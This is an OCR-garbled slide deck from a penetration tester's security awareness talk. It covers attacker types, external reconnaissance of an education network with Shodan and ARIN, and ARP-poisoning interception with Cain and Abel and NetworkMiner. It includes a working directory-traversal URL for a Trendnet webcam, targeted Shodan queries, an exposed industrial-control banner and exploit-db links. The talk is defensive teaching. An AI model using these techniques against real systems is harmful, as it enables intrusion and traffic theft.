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Through this presentation | aim to give you perspective on the state of the advisories that may wish to steal your information or compromise the computer systems you
manage, | will use real examples that | have seen in my travels, and demonstrate tactics and techniques attackers may use to gain useful insights on how best they can
compromise your networks, and how little skill this really requires.
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. Just a guy that does computer things

- William Reyor - google.me
: Curious about computer security
. Mischievous mind

. Fairly good at pen-testing WEORESITE

Through this presentation | aim to give you perspective on the state of the advisories that may wish to steal your information or compromise the computer systems you

manage, | will use real examples that | have seen in my travels, and demonstrate tactics and techniques attackers may use to gain useful insights on how best they can
compromise your networks, and how little skill this really requires.



PISCLAIMER

« Any opinions expressed are my own
* | have been known to be wrong

* One weekend!
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Any opinions expressed are my own
| have been known to be wrong (I'm sure you're smarter than me, but these are my experiences and tactics that have worked for me)
| put this presentation together over this weekend please adjust your expectations accordingly
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@OpticOpticfiber - | post things here sometimes that | find interesting (My thoughts are my own, | do not represent my employer on twitter)
<pictures of cats>
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@OpticOpticfiber - | post things here sometimes that | find interesting (My thoughts are my own, | do not represent my employer on twitter)
<pictures of cats>

<This presentation includes homework, included in the bibliography are links to talks by presenters that | follow and are widely recognized in the security industry>
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* Helpdesk * Enter inte seeliis
* Network admin * Penetration testing and
reporting

* Exchange Admin

+ External vulnerability testing
+ Consultant managing server

migrations * Directed security operations
at Xerox PARC
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irc.servercentral.net Message of the Day -
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o Listening on ports: 6660 - 6669, 7000, 808
o Listening on SSL ports: 9999 o
0 Visit us @ http://www.s

Server Rules

Fie Edt View Plugins Help
o No Flooding s X FoAF oEBE @Y
o No Clones

o No Takeovers

cccccccc

Server Staff
o Local IRCops may be summoned with the command:
Disclaimer

This server, its staff and the people hosting it are
responsible for the content that passes through this

4 Pace file: 184N free: 136N
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But...

| spent my childhood on IRC getting myself banned from multiple ISP’s, participating in “War games”, playing with viruses, port scanners, packet generators, and learning
about hacker culture in all its various parts. Everything new, is very old to me. <Examples of LAND, Ping of death, Back Orifice, stubs, crypts, packers>

| have however noticed that the game has changed - What used to be kids playing around with computers has been operationalized into a multitude of extremes.
<refine / reword>

Anonymous - The banner under an operationalized, loosely connected, group of people who identify with one another. Instead of a what used to be a gang Internet
miscreants has developed into an organization which focuses on messaging, marketing, and tactics and techniques to carry out what | would classify are acts of internet
terrorism. <Expand this slide>

Organized Crime - The tactics and techniques used by hackers have been refined, marketed, and packaged and sold. Services such as hackers for hire, malware,
distributed denial of service, and the buying and selling of information such as PII, and credit card dump. <expand and give examples>

Nation States - Imagine an advisory has endless resources to attack your information systems. How do you defend against someone that has a team developing attacks
and exploits for software that are completely unknown? Forget the idea of an army of hackers, Imagine a development team who’s sole purpose it is to design malicious

code to silently compromise your network in ways that have never been seen before. <expand and give examples>
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« Have limited resources

* Run Windows networks with mixed devices

* Maes
* Printers
« Some Unix

* Probably don't segment well
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So Lets begin by asking the question...
Do you think you are secure?

Do you limit the number of domain admins you have (1 or 2)
Do you have separate privileged accounts vs every day accounts for administrators?
Do you have a more restrictive password policy for domain
Do you set logon restrictions to prevent domain admin accounts from logging into regular
Do you disable cached credentials on servers?
Do you have service accounts which are domain admins?
Do you ever change the password on these accounts?
Do you vulnerability scan internally?
Do you report progress to your management and hold system and business owners accountable?
Vulnerability scanning is cash cheap but time expensive.
Microsoft security compliance manager
Do you check for vulnerabilities externally?

Do you delegate administrative access rather then giving admins and users everything?
Do you naturally believe people will do the right thing?
Have you ever had a machine you mange infected with a piece of malware?
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Admin Access Delegation?
Log On Restrictions?

Cached Credentials?

Limited Domain Admins!?

Cached Credentials? Ever Had Malware?
. Progress Reports?
External Vulnerabilities? Fesiond ol
Limited Domain Admins!?
Cached Credentials? People Are Good?

Ever Had Malware?

Password Policy? Service Accounts?
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Separate Privileged Accounts?

Service Accounts!? » FORESlTE

Fver Had Malware? People Are Good?

So Lets begin by asking the question...
Do you think you are secure?

Do you limit the number of domain admins you have (1 or 2)
Do you have separate privileged accounts vs every day accounts for administrators?
Do you have a more restrictive password policy for domain
Do you set logon restrictions to prevent domain admin accounts from logging into regular
Do you disable cached credentials on servers?
Do you have service accounts which are domain admins?
Do you ever change the password on these accounts?
Do you vulnerability scan internally?
Do you report progress to your management and hold system and business owners accountable?
Vulnerability scanning is cash cheap but time expensive.
Microsoft security compliance manager
Do you check for vulnerabilities externally?

Do you delegate administrative access rather then giving admins and users everything?
Do you naturally believe people will do the right thing?
Have you ever had a machine you mange infected with a piece of malware?
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Fver Had Malware? People Are Good?

So Lets begin by asking the question...
Do you think you are secure?

Do you limit the number of domain admins you have (1 or 2)
Do you have separate privileged accounts vs every day accounts for administrators?
Do you have a more restrictive password policy for domain
Do you set logon restrictions to prevent domain admin accounts from logging into regular
Do you disable cached credentials on servers?
Do you have service accounts which are domain admins?
Do you ever change the password on these accounts?
Do you vulnerability scan internally?
Do you report progress to your management and hold system and business owners accountable?
Vulnerability scanning is cash cheap but time expensive.
Microsoft security compliance manager
Do you check for vulnerabilities externally?

Do you delegate administrative access rather then giving admins and users everything?
Do you naturally believe people will do the right thing?
Have you ever had a machine you mange infected with a piece of malware?
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e FECON
* Social Engineering
» Own/Hack/Steal

s Profit
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What will an attacker do
RECON
Social engineering
Own /Hack / Steal
Profit

Hackers of any type will always take the path of least resistance
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As an attacker what would | look for?
Am | going to my most precious resource trying to find a new attack thats not been seen?
NO!
I’m going to profile you and make assumption about how you manage your internal IT infrastructure
I’m going to see if you’re patching
I’m going to see if you have AV
I’m going to see if you are following best practices (OWASP Top 10)




OWASP

Open Web Application
Security Project
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Wait OWASP what?
OWAGSP is the Open Web Application Security Project!
These folks make wonderful tools to teach and offer guidance on how to secure web applications
You should really listen to them.
| often use their guidance in reverse when attacking applications.
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How do | pop most sites externally?

Default credentials (you would be surprised how many organizations never bother to clean up sites).
Carwash story

Weak security questions
(Whats my favorite baseball team)

Software with known security vulnerabilities, publicly pu

Brute force attacks (a surprising number of web applications don’t have standard password policies)

Tinkering



How do | pop most sites externally?

Default credentials (you would be surprised how many organizations never bother to clean up sites).
Carwash story

Weak security questions
(Whats my favorite baseball team)
Software with known security vulnerabilities, publicly pu

Brute force attacks (a surprising number of web applications don’t have standard password policies)
Tinkering
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3 examples of terrible operational security but what might be consider ODay from actual experience.

Trendnet TV-IP201 Directory Traversal / Authentication Bypass
A friend challenged me to get into the webcam of his small business
A search revealed no open published exploits for the make / model

A nessus vulnerability scan revealed that the web server of the web cam was running go ahead ( | could have just grabbed the banner much more silently but |
had permission)

Digging deeper this version of the go ahead web server was vulnerable to a directory traversal attack by using encoded “/* characters
Doing 10 minutes of experimentation

| came up with the following: http://ipaddress ofcamera/..%5C..%5C..%5C..%5C..%5C..%5C/config/tcfg_system.asp
Took complete control of the camera.

Take away: Internet of things devices are typically poorly secured, and never updated. Do not leave them exposed to the internet without protection unless they are
segmented.

Password disclosure in desktop imaging software

A community college i attended was using power quest deploy center (PQDI) where | worked as a lab assistant
Insert a boot disk into a computer

Restart
It reboots into dos, authenticates to a share, and pulls down an image



What would an attacker see if he/she attempted to profile your network externally?
What tools might he or she use?

Can we find indications on the CEN network of similar vulnerabilities using only public information and without actually connecting to any resources.
Why yes we can
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AN INTERNET WIDE PORT SCANNER THAT GRABS BANNERS,
AND MAPS SERVICES TO EVERY SINGLE IP ADDRESS
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’ It makes profiling a victim trivial

*  Oh hey and it's really free for educational institutions
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What would an attacker see if he/she attempted to profile your network externally?
What tools might he or she use?

Can we find indications on the CEN network of similar vulnerabilities using only public information and without actually connecting to any resources.
Why yes we can!

What is shodan?
Shodan is an internet wide port scanner that grabs banners, and maps services to every single IP address
Its free (sort of)
It makes profiling a victim trivial
Oh hey and its free really for educational institutions
So what kind of things can | search on?

. city: find devices in a particular city

. country: find devices in a particular country

. geo: you can pass it coordinates

. hostname: find values that match the hostname
. net: search based on an IP or /x CIDR

. os: search based on operating system

. port: find particular ports that are open

. before/after: find results within a timeframe



SHODAN

AN INTERNET WIDE PORT SCANNER THAT GRABS BANNERS,
AND MAPS SERVICES TO EVERY SINGLE IP ADDRESS

SO WHAT KIND OF THINGS CAN | SEARCH ON?

» city: find devices in a particular city * net: search based on an IP or /x
CIDR
* country: find devices in a particular
country * os: search based on operating system
* geo:you can pass it coordinates * port: find particular ports that are
open
* hostname: find values that match the
hostname * before/after: find results within a
timeframe
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What would an attacker see if he/she attempted to profile your network externally?
What tools might he or she use?

Can we find indications on the CEN network of similar vulnerabilities using only public information and without actually connecting to any resources.
Why yes we can!

What is shodan?
Shodan is an internet wide port scanner that grabs banners, and maps services to every single IP address
Its free (sort of)
It makes profiling a victim trivial
Oh hey and its free really for educational institutions
So what kind of things can | search on?

. city: find devices in a particular city

. country: find devices in a particular country

. geo: you can pass it coordinates

. hostname: find values that match the hostname
. net: search based on an IP or /x CIDR

. os: search based on operating system

. port: find particular ports that are open

. before/after: find results within a timeframe
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SEARCH WhoisRWS

all requests subject to terms |

NUMBER RESOURCES PARTICIPATE POLICIES | FEES & INVOICES | KNOWLEDGE = ABOUT

WHOIS-RWS

You searched for: Connecticut Education Network

Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢ .
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢ .
Connecticut Education Network (¢
Connecticut Education Network (¢ .
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
Connecticut Education Network (¢
CONNECTICUT EDUCATION NETWORK (C

United States 30

HTTPS
HTTP
IKE-NAT-T
IKE

NTP

NNN O

State of Connecticut 30

Apache httpd
Microsoft IIS httpd

SonicWALL firewall h...
Apache Tomcat/Coyo...

S NN e s

Tridium Niagara httpd
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So how might | use this tool?
Visit Arin and search for "Connecticut Education Network"
A quick search of a range and | locate some interesting results

So Tridium Niagara httpd looks interesting
Lets drill in:

. A few google searches later
. http://www.tridium.com/en/support/products
. http://www.tridium.com/en/products-services/niagarad

So | know this is likely an industrial control of some kind

From the shoran results | also see port 1911 is open on this same particular host

Some quick googling and I find the manual for the tritium product line and its setup of “Fox tunneling"

http://www.hvacc.net/pdf/tridium/docs 3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf




State of Connecticut

Apache httpd
Microsoft IS httpd

SonicWALL firewall h...
Apache Tomcat/Coyo...

30

I Tridium Niagara httpd

=IN N W »

»-ORESITE

So how might | use this tool?
Visit Arin and search for "Connecticut Education Network"
A quick search of a range and | locate some interesting results

So Tridium Niagara httpd looks interesting

Lets drill in:
. A few google searches later
. http://www.tridium.com/en/support/products
. http://www.tridium.com/en/products-services/niagarad

So | know this is likely an industrial control of some kind

From the shoran results | also see port 1911 is open on this same particular host

Some quick googling and I find the manual for the tritium product line and its setup of “Fox tunneling"
http://www.hvacc.net/pdf/tridium/docs 3.5.25/EngNotes/tunneling/docEn Tunneling.pdf
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http://www.tridium.com/en/support/products

http://www.tridium.com/en/products-services/niagara4
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So | know this is likely an industrial control of some kind

From the Shodan results | also see port 1911 is open on this same particular host

Some quick googling and | find the manual for the tritium product line and its setup of “Fox tunneling"
http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf



http://www.tridium.com/en/support/products
http://www.tridium.com/en/products-services/niagara4

[r—Tor 1]

fox a @ -1 fox hello

{

fox.version=s:1.0.1

id=1:22656

hostName=s:192.168.80.15

hostAddress=s:192.168.80.15

app.name=s:Station

app.version=s:3.8.41

vm.name=s:Java HotSpot(TM) Client VM
vm.version=s:1.5.0_81-b02

0S.name=s:QNX

0s.version=s:6.4.1

station.name=s: - -

lang=s:en
timeZone=s:America/New_York;-18000000;3600000;02:00:00.000,wal
1,march,8,on or after,sunday,undefined;02:00:00.000,wall,novem
ber,1,on or after,sunday,undefined
hostId=s:Qnx-NPM6-0000-14B3-74AA
vmUuid=s:11e55c¢11-298c-5122-0000-00000000bbas
brandId=s:vykon

sysInfo=0:bog 61[<bog version="1.0">

<p m="b=baja" t="b:Facets" v=""/>

</bog>

1
authAgentTypeSpecs=s: fox: FoxUsernamePasswordAuthAgent
Y
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So | know this is likely an industrial control of some kind

From the Shodan results | also see port 1911 is open on this same particular host

Some quick googling and | find the manual for the tritium product line and its setup of “Fox tunneling"
http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf

Question: How difficult would it be to exploit this?

We now have an internal IP address

We can see the device is using really outdated java

Reading the manual we can see the devices sole purpose is to proxy traffic into the network

The take away?
Why is this exposed to the public internet?

In all likelihood the vendor pushed to allow this device to be exposed to the internet. It should never have been.
This likely happens more often then you believe.
Empower staff to push back against vendors



http://www.hvacc.net/pdf/tridium/docs_3.5.25/EngNotes/tunneling/docEn_Tunneling.pdf

S INOTHER EX2 MiEE=

23 |

[?251[23[0m[1;1H[2;1H[3;1H #i# HHH . HHE W #H## ###4;
1H HHE HEH R ##H# (55 1H HHE
R ### ### ###6;1H S HHE H# B B
### ##E 75 1H #H## ### HHH #H#H HHE #HiH HHH #HH HH# ###(8;1H
i #HE B OHHE W O #HH 19, 1H i s #H
HiHHE R ## 105 1H S B I S
# O #HE #HHEE SRR #9111 TH HH #H #HE #HH#
## ###[12; 1H ###[13; 1H

###[14;1H[15;1H[16; 1HEnter Ctrl-Y to begin. [18;3H
sorriollolrololook [19; 3Hxkk Ethernet Routing Switch 4548GT-PWR  [19;63H#k%[20; 3Hxkk Avaya

*kk[21; 3H#kx Copyright (c) 1996-2011, A1l Rights Reserved sokk [22 5 3Hkokok [22;6
3Hskokk [23; 3Hkokk HW: 13 FW:5.3.0.3 SW:v5.6.1.052[23;63H%%k[24; 3H
[?251
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Take away:
We know this is very out of date searching avaya documentation
https://support.avaya.com/downloads/download-details.action?contentld=C201311252310332060_8&productld=P0610

https://support.avaya.com/downloads/download-details.action?contentld=C20134192234575780_3&productld=P0610 (released 2013)
Why is telnet turned on?

Why is a routing switch exposed to the internet?
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| __ssh |
OpenSSH

SSH-2.0-0penSSH_6.2

Key type: ssh-rsa

Key: AAAAB3NzaClyc2EAAAADAQABAAABAQDSasIMYmEIWF6F/ySCKL8y5h5+3ypldg3VVFI6gdwlRviX
sEjfZLbUwXgDpFgKve/X9Q10+dYOpxKia/RSbKASy+uxdDBzirs8cxV3UrltQrR60ZhPGlzE1IP]
215Z0j IWRNQdVZz9vZCNbN8NING22YNnkNY5TsS91phruhh91ZLoVDAWWUh48b6xNip@e64bpyZFzE
uhKRhECSRIO1R1W30BdmKuaQXggh lK+npgHvtN5SREiMiyrIT/DSyx76P18Gy+zIoTerxpxjnQeZC
mpneeC8gXWjYfIVWyANgNA3IgeSzoYk07J7wmbLz1iDCQ6q3GIwFA417c6SNShtQ4dmD

Fingerprint: 1d7:e0:b9:73:bb:79:5e: fetec:6c:c4:48:e4

IGEE  HTTP/1.1 403 Forbidden

Connection: close

http Content-Language: en_US
Content-Length: 342
Content-Type: text/html; charset=utf-8
Date: Wed, 04 Nov 2015 06:29:14 GMT
Accept-Encoding: gzip, deflate, identity
Server: CUPS/2.0 IPP/2.1

=TT Apple remote desktop vnc
RFB 003.889

»-ORESITE

Lets get more specific with searching in shodan
Shoran search string: ASN:AS22742 product:"Apple remote desktop vnc" org:"University of X" os:"Windows XP"

We found the ASN in ARIN

We know ARD is typically insecure

We know windows XP is unpatched

We know the university is big a network, if we get on the network as an attacker we’ll have many options to stay embedded.

Searching on version 6.2 of OpenSSH:
http://seclists.org/fulldisclosure/2013/Nov/53
https://www.cvedetails.com/vulnerability-list/vendor_id-120/SSH.html

Reading and digging deeper we find a published exploit
https://www.exploit-db.com/exploits/23082/

Searching for exploits for version 2.0 of CUPS
https://www.exploit-db.com/exploits/23082/

Google Security Research released details of the attack including a proof of concept
http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html



Searching on version 6.2 of OpenSSH:
http://seclists.org/fulldisclosure/2013/Nov/53
https://www.cvedetails.com/vulnerability-list/vendor_id-120/SSH.html

Published exploit
https://www.exploit-db.com/exploits/23082/

Exploits for version 2.0 of CUPS
https://www.exploit-db.com/exploits/23082/

Proof of concept
http: leproj

Exploits for version 00.3.889 of ARD
http://lists.apple.com/archives/security-announce/2013/0Oct/msg00004.html
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Lets get more specific with searching in shodan
Shoran search string: ASN:AS22742 product:"Apple remote desktop vnc" org:"University of X" os:"Windows XP"

We found the ASN in ARIN

We know ARD is typically insecure

We know windows XP is unpatched

We know the university is big a network, if we get on the network as an attacker we’ll have many options to stay embedded.

Searching on version 6.2 of OpenSSH:
http://seclists.org/fulldisclosure/2013/Nov/53
https://www.cvedetails.com/vulnerability-list/vendor_id-120/SSH.html

Reading and digging deeper we find a published exploit
https://www.exploit-db.com/exploits/23082/

Searching for exploits for version 2.0 of CUPS
https://www.exploit-db.com/exploits/23082/

Google Security Research released details of the attack including a proof of concept
http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html


http://seclists.org/fulldisclosure/2013/Nov/53
https://www.cvedetails.com/vulnerability-list/vendor_id-120/SSH.html
https://www.exploit-db.com/exploits/23082/
https://www.exploit-db.com/exploits/23082/
http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html
http://lists.apple.com/archives/security-announce/2013/Oct/msg00004.html

— CVSS Scores & Vulnerability Types

CVSS Score 7.5

Confidentiality Impact ks considerable informational disclosure.)

Integrity Impact n of some system files or information is possible, but the attacker does not have control over what can be modified, or

the scope of wh. e attacker can affect is limited.)
Availability Impact (There is re: d performance or interruptions in resource availability.)
Access Complexity Low (Specialized acces: nditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit. )

Authentication Not required (Authenticatiois not required to exploit the vulnerability.)
Gained Access None

Vulnerability Type(s) Execute Code

CWE ID 134
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Take away:
Who is reviewing these firewall rules?
Why are any of these ports open to the public internet?
Why isn’t this machine patched?
Why is windows XP running?



INTERNAL NETWORKS

FROM AN ATTACKER’S PERSPECTIVE

* We talked about external networks and profiling

* What can an attacker do once they're on your network?
* How flat is your network?
* How structured are your ACLS?

* Do you have a way to detect and mitigate anomalies?

»-ORESITE

So lets talk about ARP Cache Poisoning
Hold up we’re going to get a little technical
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From Wikipedia:

In computer networking, ARP spoofing, ARP cache
poisoning, or ARP poison routing, is a technique by
which an attacker sends (spoofed) Address
Resolution Protocol (ARP) messages onto a local
area network.

»-ORESITE

Hold up we’re going to get a little technical




ARP Cache
10.0.0.1 | CC: cc)

ARP Cache )

10.0.0.2V @
IP:10.0.0.2

o

\

MAC: BB:BB \
Alice |
IP:10.0.0.1  \ Y
MAC: AA:AA N /
\\
)

Normal Path :
-
, Charlie %
Bl oLy IP:10.0.0.3
MAC: CC:CC
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So lets break this down

We have 3 people on the network. Alice, Bob, and Charlie.

Alice is having a conversation with Bob, which Carlie wishes to intercept
Charlie simply broadcasts ARP reply packets saying the MAC address for Alice is CC:CC
Charlie simply broadcasts an ARP reply packet saying the MAC address for Bob is CC:CC

What does this look like in practice?
Cain and Abel:
Scan for active devices by broadcasting ARP packets




CAIN
&
ABEL

Scan for active devices
by broadcasting ARP packets

MAC Address Scanner
Target
& All hosts in my subnet
" Range
r~ From
| 192 . 168 . 180 . 1
To
254

| 192 . 168 . 180

i~ Promiscuous-Mode Scanner
™ &RP Test (Broadcast 31-bit)
™ ARP Test [Broadcast 16-bit)
[ ARP Test [Broadcast 8-bit)

™ ARP Test (Group bit)

™ &RP Test (Multicast group 0)
™ ARP Test [Multicast group 1)
[ ARP Test (Multicast group 3)

7 Al Tests

oK I Cancel |
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What does this look like in practice?
Cain and Abel:
Scan for active devices by broadcasting ARP packets
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5 Decoders |§ Network I‘? Sniffer |gf Cracker IQ Traceroute Im Ccbu m]"' Wireless I% Query |

|IP address | MAC address | QUIfi pril | Host name | B... l B... | B8 | Gr
192168.180.1 ( CCA11 Palo Alto Networks
192.168.180.6 1 Aruba Networks
192.168.180.5 H Juniper Networks
192.168.180.80 ( Palo Alto Networks
192.168.180.81 ( Palo Alto Networks
192.168.180.82 ( Palo Alto Networks
192.168.180.83 ( Palo Alto Networks
192168.180.34 ( Palo Alto Networks
192.168.180.85 ( Palo Alto Networks
192168180100

192168180127  ( CANON INC.

192168180130 ( Action Star Enterprise Co., L...
192168180131

192168.180.134

192168180139 | Dell Inc PCBA Test
192.168.180.140 1+ Z  Hon Hai Precision Ind. Co.,L...
192168180141  ( Action Star Enterprise Co,, L...
192.168.180.132 *  Hon Hai Precision Ind. Co.,L...
192.168.180.142 ]

192168180135 :

192168180136 ¢

192168180151 ¢ Dell Inc.

192.168.180.153 Intel Corporate
192.168.180.155

192168180129

192.168.180.157 | Hewlett Packard
192168180161

192168180163 Apple

192.168.180.167 | ‘ Dell Inc

192168180146

192168180149

192168180175 ¢ LCFC(HeFei) Electronics Tec...
192168180177 ¢ Hon Hai Precision Ind. Co.,L... }> l:O R E S |—|_ E
192168180179 |

What does this look like in practice?
Cain and Abel:
Scan for active devices by broadcasting ARP packets

From the list pick two devices you would like to get in the middle of:



What does this look like in practice?

Cain and Abel:

New ARP Poison Routing

(e

WARNING 1!

all other hosts on your LAN.

APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in both
directions. If a selected host has routing capabilities WaN traffic will be intercepted as well. Please note that since your
machine has not the same performance of a router you could cause Do$ if you set APR between your Default Gateway and

IP address I MAC | Hostname - IP address | MAC | Hostname -

192.168.180.1 001B17, ‘ = ‘ 192.168.180.168  C4D987I A
1921681806 186472 = | AR NN TRl I = |
192.168.180.5 80711FI 192168180173  28CFE9! -
192.168.180.80 0018174 192.168.180.185  OC3ESF: |

192.168.180.81 00181 ?. 192.168.180.183  ABBEBCF

192.168.180.82 001B17. 192168180182  DOE140:

192.168.180.83 001B17. 192.168.180.165  E0ACCE

192.168.180.84 001B17, 192.168.180.162  5CEOCS:

192.168.180.85 001817, 192168.180.156  5CEOCS:

192.168.180.100  ADZBBE < | 192168180179  4COBBE %

< | 1 » < | 1 | »
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Scan for active devices by broadcasting ARP packets

From the list pick two devices you would like to get in the middle of:




What does this look like in practice?

Cain and Abel:

ﬂ[!l

File View Configure Tools Help

A @EEE | 4+ BREBVEDEMN0®ER @ 2 U0

&, Decoders |§ Network I‘B Sniffer I@’ Cracker IO Traceroute IM CCbu I“ﬁ)] Wireless Ia) Query |

4 Passwords + | Timestamp I KDC server | Client I Domain\User

I Hash Type

SFP O 02/12/2015 - 15:53:28 192.168.0.20 192.168.180.177 -
D HTTP(0) 02/12/2015 - 15:53:38 " 187168.0.20 197168180177

) IMAP (0)
LDAP (0)
&b POP3 (0)
sb SMB (0)
Bl Telnet (0)
VNC (0)
& DS )
& TNS (0)
3 SMTP (0)
B NNTP (0) L
&) pce/RPC (11)

{3 MSKerbS-PreAutt
& Radius-Keys (0)

€ Radius-Users (0)
g1

= e ncur o

m

821ADF5C1682... RC4-HMAC-M...

T d1F0996FIDDD...  RCA-HMACTM...

(mvmemem T |8 MsKerbS-PreAuth
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Scan for active devices by broadcasting ARP packets

From the list pick two devices you would like to get in the middle of:

And we click the poison button
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Time Source Destination [DETORRrS SYIT N, i
3911 2.. 23.23.133.96 192.168.180.189 elesd oo Cale 8. P Xe RS T =N Vel A (Ve A MR G
3912 2.. 23.23.133.96 192.168.180.189 I -&.aR fl
3913 2.. 192.168.180.189 23.23.133.96 ; ->37.3A]. ... -.Fo.zuM. L EN]L !

== e ——— ==l . .7 1DSG.-&.t{..m$(0...
3521 2. 23.23.133.96 __192.153.150.159 el TP P,
3923 2.

3930 2.. 192.168.180.189 23.23.133.96

23.23.133.96 192.168.180.189 [ PR j.-1<.\INh"29Q....... L T [-R...1%...xv¥0.d.C.-.....N

A feeaze [0 . .PX. .. . +bB. THj#E..

3932 2.. 23.23.133.96 192.168.180.189

23.23.133.96 192.168.180.189
192.168.180.189 23.23.133.96

192.168.180.189 q..FZ.z.p..I.....co..5
TR RS bollbooldbdbaRooodbaltoonnadBcSoonae

JA..t-..>. . X, . i.w. L 1LRK2\ot_p..
1.4/ _r&.k.h
.F6...V.E.

192.168.180.189

..r.. ... x555.SmI. o
(FevvnnSe,eacavket. e Seeennens FoooiHewn
oA

3962 2.

23.23.133.96

19.

814 clent ), 454 server phafs), 809 turns.

I Show dta 2 (A5CT__7) svem 0 B
y '

[Hnde Ihlssweam][ Print J[ Save as... ] [ Close ][ Help ]
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3969 2. 2.168.180.189

192.168.180.189

3975 2.. 23.23.133.96

3977 2.. 192.168.180.189 23.23.133.96

What does this look like in practice?
Cain and Abel:
Scan for active devices by broadcasting ARP packets

From the list pick two devices you would like to get in the middle of:

And we click the poison button.

So now we have traffic so what?

But you have to be a a network engineer to understand this right? (nope)
Enter another free windows program network miner



%" NetworkMiner 1.6.1

File Tools Help

Host 1900 Location NTS ssdp alive SERVER Host 1300 device Man ssdp discover Host 1900 -
device Man ssdp discover Host 1900 device Man ssdp discover Host 1900 device Man ssdp
discover GET Connection Pragma Windows Pro Host com GET Connection Pragma Windows Pro
Host com Forbidden Server ASP NET Date Dec GMT You not have pemmission view this directory
page Forbidden Server ASP NET Date Dec GMT You not have pemmission view this directory page
NOTIFY Host 1900 Location NTS ssdp alive SERVER Host 1900 device Man ssdp discover GET
Connection Pragma Windows Pro Host com GET Connection Pragma Windows Pro Host com
Forbidden Server ASP NET Date Dec GMT You not have pemission view this directory page
Forbidden Server ASP NET Date Dec GMT You not have pemission view this directory page
NOTIFY Host 1900 Location NTS ssdp alive SERVER NOTIFY Host 1900 Location NTS ssdp
alive SERVER GET Connection Pragma Windows Pro Host com GET Connection Pragma
Windows Pro Host com Forbidden Server ASP NET Date Dec GMT You not have pemission view
this directory page Forbidden Server ASP NET Date Dec GMT You not have pemission view this
directory page Host 1300 device Man ssdp discover Host 1900 device Man ssdp discover Host
1900 device Man ssdp discover Host 1900 device Man ssdp discover version encoding soap
Envelope soap soap Header 2005 discovery Action Action Header soap Body Resolve Address
Address Resolve Body Envelope version encoding soap Envelope soap soap Header 2005 <

|.m

— Select a network adapter in the list — v] b [ 4 Stop }
= - Case Panel
[ Hosts (74) | Frames (770) l Files (20) | Images | Messages | Credentials | Sessions (77) | DNS (25) ‘
[-" (27)I Keywords] Cleartext lﬁnomaﬁ%] Filename MD5
= 2pcap 8b882d..
Loaded dictionary: all-words bt
Cleartext search: [Complele - Search full packet data in all packets v ]

< 1 »

Clear

Reload Case Files

Live Sniffing Buffer Usage: |
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What does this look like in practice?
Cain and Abel:
Scan for active devices by broadcasting ARP packets

From the list pick two devices you would like to get in the middle of:

And we click the poison button.

So now we have traffic so what?

But you have to be a a network engineer to understand this right? (nope)
Enter another free windows program network miner

Notice the files are carved from the capture or saved off the wire




4% NetworkMiner 1.6.1

File Tools

Help

Socket: Intel(R) Centrino(R) Advanced-N 6235 (192.168.0.182)

[ Hosts (583) | Frames (1500¢) | Files (145) |images (45) | M Credertials (83) | Sessions (438) | DNS (985) | P: (2240) | Keywords | Cleartext | Anomalies
Framenr. Recons.. Source.. S.port Destinat... D.port Protocol Filename Extension Size Timesta... Details
9622 C\User.. 23.196.. TCP443 192.168.. TCP62.. TisCertif.. www paypal.com[1].cer cer 1873B 12/3/2.. TLSCer...
9630 CAUser.. 23.196.. TCP443 192.168.. TCP62.. TisCertf.. wwwpaypal.com[2].cer cer 1873B 12/3/2.. TLSCer...
2758 CA\User.. 6552.1.. TCP443 192.168.. TCP62.. TsCertif.. c.msn.com.cer cer 18%0B 12/3/2.. TLSCer..
2050 C:\User... 98.137.. TCP443 192.168.. TCP62.. TisCertif... searchyahoo.com.cer cer 1973B 12/3/2.. TLSCer..
3238 C:\User.. 23.782.. TCP&0 192.168... TCP62.. HttpGet... css__eFOixoENNFY.css css 2267B 12/3/2.. wwwm..
1824 C:\User... 206.190.. TCP443 192.168.. TCP62.. TisCerif... wwwyahoo.com.cer cer 2414B 12/3/2.. TLSCer..
3457 C:\User.. 2366.1.. TCP&80 192.168... TCP62.. HitpGet... global_header jsxjavascript xjavasc... 3081B 12/3/2.. wwwnb...
3710 C\User... 21658... TCP 80 192.168... TCP62.. HttpGet... gptjsjavascript javascript 3243B 12/3/2.. wwwgo...
5486 C\User.. 8.1845.. TCP80 192.168.. TCP62.. HitpGet... LT_062714_CI.CAAQO1F html html 4993B 12/3/2.. imgmed..
4132 C\User.. 23782.. TCP&0 192.168... TCP62.. HitpGet... trackingService min js javascript javascript 5168B 12/3/2.. nvane..
6244 C:\User.. 38721.. TCP&0 192.168... TCP62.. HttpGet... gwjs.E85A5243 javascript javascript 6504B 12/3/2.. srevsci...
6160 CA\User.. 23196.. TCP80  192.168.. TCP62.. HitpGet.. iframe.BDBSE203html html 7123B 12/3/2.. pixelma...
6347 C\User... 74.217.. TCP80 192.168.. TCP62.. HitpGet... quant.jsxjavascript xjavasc... 7874B 12/3/2.. secure..
9709 C\User... 138.128.. TCP 80 192.168... TCP62.. HitpGet... wp-emojiteleaseminjs.E02206C... javascrpt 15930B 12/3/2.. wwww...
6594 C:\User... 209.244.. TCP 80 192.168... TCP62.. HitpGet... Getlnvite.aspx.41CB68E4javas... javascipt 21080B 12/3/2.. adinsig...
4065 C\User... 23235.. TCP&0 192.168... TCP62.. HitpGet... controltag.C79F100B javascript javascript  24706B 12/3/2.. cdnkm...
4433 C:\User... 23.208... TCP&0 192.168... TCP62.. HttpGet... LightningBolt jsxjavascript xjavasc.. 27280B 12/3/2.. cdn-aka..
3210 C\User.. 23.782.. TCP&0 192.168... TCP62.. HitpGet... css_mGOSuWpvwv.css css 68860B 12/3/2.. wwwm..
3170 CAUser.. 23782.. TCP80  192.168.. TCP62.. HitpGet... indexhtml html 139900... 12/3/2.. wwwm...
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What does this look like in practice?
Cain and Abel:

Scan for active devices by broadcasting ARP packets

